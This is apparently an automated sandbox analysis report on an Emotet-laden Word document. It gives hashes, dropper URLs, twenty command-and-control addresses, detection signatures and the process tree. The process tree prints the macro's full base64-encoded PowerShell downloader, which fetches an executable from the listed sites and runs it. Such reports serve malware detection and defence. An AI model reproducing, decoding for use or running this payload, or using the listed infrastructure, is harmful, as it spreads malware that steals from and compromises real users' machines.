Analysis

  • max time kernel
    138s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    01/10/2020, 10:07

General

  • Target
    emotet_e1_45cc5d0e7bc6e82e92101514a91f81d195d0567798267a1d21d654c6d4293d00_2020-10-01__100423854563._doc.doc
  • Size 151KB
  • Sample201001-cd42j54bye
  • SHA256 45cc5d0e7bc6e82e92101514a91f81d195d0567798267a1d21d654c6d4293d00
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://blog.zunapro.com/wp-admin/i/

  • exe.dropper

    http://brycebrumley.com/wp-admin/IR/

  • exe.dropper

    http://electronicsvibes.com/wp-includes/A9n/

  • exe.dropper

    http://ashgroup.org/wp-snapshots/Ap/

  • exe.dropper

    https://beu-hr.com/9gqqi5eat/K2y/

  • exe.dropper

    https://manhtien.net/wp-includes/Tw3/

  • exe.dropper

    http://pattanitkpark.com/gipe2h/BIY/

Extracted

Family
  • emotet

C2
  • 202.22.141.45:80

  • 37.187.161.206:8080

  • 202.29.239.162:443

  • 80.87.201.221:7080

  • 82.76.111.249:443

  • 216.47.196.104:80

  • 192.241.143.52:8080

  • 192.81.38.31:80

  • 87.106.253.248:8080

  • 64.201.88.132:80

  • 192.241.146.84:8080

  • 12.162.84.2:8080

  • 1.226.84.243:8080

  • 177.129.17.170:443

  • 202.134.4.210:7080

  • 70.169.17.134:80

  • 152.169.22.67:80

  • 5.196.35.138:7080

  • 138.97.60.141:7080

  • 203.205.28.68:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_45cc5d0e7bc6e82e92101514a91f81d195d0567798267a1d21d654c6d4293d00_2020-10-01__100423854563._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3024
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATwBGAEkAbABlAFwAbAA0AHoAMgBSAHYAXwBcAHcAbgB4AFUAegBoAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBpAFQAYABZAGAAcABSAGAAbwBUAE8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAFYAcgBxAHcAdABrAGUAIAA9ACAAKAAnAFYANAAnACsAKAAnADgAJwArACcAZwB4ACcAKQArACcAMABhACcAKQA7ACQAQgA2ADAAaQBqAHIAYQA9ACgAKAAnAFUAOQAnACsAJwBvACcAKQArACgAJwA4ACcAKwAnAF8AcQAnACkAKwAnADMAJwApADsAJABOAGIAbgA0AHcAOABiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZAAnACsAJwBXADcAJwApACsAKAAnAEwANAAnACsAJwB6ADIAcgAnACkAKwAnAHYAXwAnACsAKAAnAGQAVwAnACsAJwA3AFcAbgB4ACcAKQArACgAJwB1AHoAaAB5AGQAVwAnACsAJwA3ACcAKQApAC4AIgByAGUAUABsAGAAQQBjAEUAIgAoACgAJwBkAFcAJwArACcANwAnACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQAVgByAHEAdwB0AGsAZQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVQA3ADUAMwBtAHAANAA9ACgAKAAnAEMAaQAxACcAKwAnADcAawAnACkAKwAnAHMANgAnACkAOwAkAFYAOABlADUAMgBiADcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAFQAOwAkAFIAOQBwAGIAYQBnAG8APQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwBiAGwAJwArACcAbwBnACcAKwAnAC4AegAnACkAKwAoACcAdQAnACsAJwBuAGEAcAByAG8ALgAnACkAKwAoACcAYwBvAG0ALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAaQAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAJwArACcAYwAnACkAKwAnAGUAYgAnACsAKAAnAHIAdQBtAGwAJwArACcAZQB5AC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8ASQBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwBlAGwAJwApACsAKAAnAGUAYwAnACsAJwB0AHIAJwApACsAKAAnAG8AbgBpAGMAJwArACcAcwB2ACcAKQArACgAJwBpAGIAZQBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsACcAKwAnAHUAZABlAHMAJwArACcALwAnACkAKwAoACcAQQA5AG4ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AYQAnACsAJwBzAGgAZwByACcAKwAnAG8AdQBwACcAKQArACgAJwAuACcAKwAnAG8AcgBnACcAKQArACcALwB3ACcAKwAoACcAcAAtAHMAbgAnACsAJwBhAHAAJwApACsAKAAnAHMAaABvACcAKwAnAHQAJwApACsAKAAnAHMALwBBAHAAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvAGIAZQB1ACcAKQArACcALQAnACsAKAAnAGgAJwArACcAcgAuAGMAbwBtACcAKwAnAC8AOQBnAHEAJwArACcAcQBpACcAKQArACcANQAnACsAKAAnAGUAJwArACcAYQB0AC8AJwApACsAKAAnAEsAJwArACcAMgB5AC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAnACsAJwAvAG0AYQAnACkAKwAoACcAbgBoAHQAJwArACcAaQBlAG4AJwArACcALgBuACcAKQArACgAJwBlAHQALwB3ACcAKwAnAHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMALwBUACcAKwAnAHcAMwAnACsAJwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAcABhAHQAdABhAG4AJwArACcAaQB0ACcAKQArACcAawAnACsAKAAnAHAAYQAnACsAJwByAGsALgAnACkAKwAoACcAYwBvAG0ALwBnACcAKwAnAGkAJwApACsAKAAnAHAAZQAyACcAKwAnAGgAJwApACsAJwAvACcAKwAnAEIAJwArACgAJwBJAFkAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAG0AdwA1AGQAMwB0AD0AKAAoACcAUwAnACsAJwB3ACcAKwAnADMANABvAG8AJwApACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMABqAG0AMABsAHoAIABpAG4AIAAkAFIAOQBwAGIAYQBnAG8AKQB7AHQAcgB5AHsAJABWADgAZQA1ADIAYgA3AC4AIgBEAG8AdwBuAGwAbwBgAEEAYABkAGYAYABJAEwARQAiACgAJABSADAAagBtADAAbAB6ACwAIAAkAE4AYgBuADQAdwA4AGIAKQA7ACQAQgB0AG8AMgBlAGoAdwA9ACgAKAAnAEEAJwArACcAOABmACcAKQArACgAJwBiACcAKwAnADMAZQAnACkAKwAnAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AYgBuADQAdwA4AGIAKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADUANwA3ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQATgBiAG4ANAB3ADgAYgApADsAJABEAGwAeQA1ADkAagBfAD0AKAAoACcASwAnACsAJwBjADEAeQAnACkAKwAoACcAYQAnACsAJwB4AHoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANQAyAGQAZQBlAG0APQAoACcAWgAnACsAKAAnADQAaAB4ACcAKwAnAHIAegAnACkAKwAnAHUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADEAagBkADIAdgBlAD0AKAAoACcASwBvADIAJwArACcAaAA4ACcAKQArACcAXwBhACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe
      "C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\SysWOW64\dfrgui\windowslivelogin.exe
        "C:\Windows\SysWOW64\dfrgui\windowslivelogin.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2532

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/624-15-0x0000000000500000-0x0000000000510000-memory.dmp

        memory/624-14-0x0000000002200000-0x0000000002212000-memory.dmp

        memory/2444-10-0x0000017EE8A40000-0x0000017EE8A41000-memory.dmp

        memory/2444-8-0x00007FFF524A0000-0x00007FFF52E8C000-memory.dmp

        memory/2444-9-0x0000017EE8890000-0x0000017EE8891000-memory.dmp

        memory/2532-19-0x0000000000610000-0x0000000000620000-memory.dmp

        memory/2532-18-0x0000000001FC0000-0x0000000001FD2000-memory.dmp

        memory/3024-0-0x00007FFF59A10000-0x00007FFF5A0D6000-memory.dmp

        memory/3024-4-0x000002AF8D273000-0x000002AF8D278000-memory.dmp

        memory/3024-3-0x000002AF8D273000-0x000002AF8D278000-memory.dmp

        memory/3024-2-0x000002AF8D08A000-0x000002AF8D08F000-memory.dmp

        memory/3024-5-0x000002AF8D273000-0x000002AF8D278000-memory.dmp

        memory/3024-1-0x000002AF8D08A000-0x000002AF8D08F000-memory.dmp

        memory/3024-6-0x000002AF8D08A000-0x000002AF8D08F000-memory.dmp

        memory/3024-7-0x000002AF8D321000-0x000002AF8D326000-memory.dmp